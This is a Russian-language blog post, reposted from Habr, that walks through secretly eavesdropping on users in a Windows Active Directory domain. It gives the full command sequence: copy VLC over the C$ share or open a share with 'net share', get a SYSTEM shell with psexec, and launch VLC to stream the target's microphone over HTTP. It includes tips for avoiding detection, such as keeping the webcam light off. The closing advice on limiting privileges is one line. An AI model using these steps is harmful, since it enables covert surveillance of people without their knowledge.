вторник, 28 сентября 2010 г.

Подслушиваем в AD



Введение

Я только недавно столкнулся с виндовыми доменами (Active Directory) и познаю много нового и удивительного. Так уж получилось, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие) (ведь не редко так бывает?). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.



Необходимо иметь

  • Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)

  • Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.

  • Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc. (никаких троянов! :))

  • Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools. Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).



Практика


  1. Для начала нам нужно закинуть дистрибутив vlc на удаленную машину, если его там не было. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \\target\C$\. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:

    net share C$=C:\

    Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину.

  2. Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:

    psexec.exe \\target\ cmd

    Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc.


  3. Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.



    Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.



    У меня это ":sout=#http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep"

  4. Таким образом, команда запуска vlc на удаленной машине принимает вид:

    vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep

    Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080.

  5. Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:

    vlc.exe http:// target:8080 (без пробела после http://)

    Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:

    vlc.exe udp://@:1234

  6. Если все путем, то слушаем





Заключения

Очень важно минимизировать привилегии пользователей AD.

PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.

С некоторыми модификациями способ прокатит не только в AD.



Линки

Хорошее описание PsExec

Wiki по VLC.

(c) Взято на ХабраХабре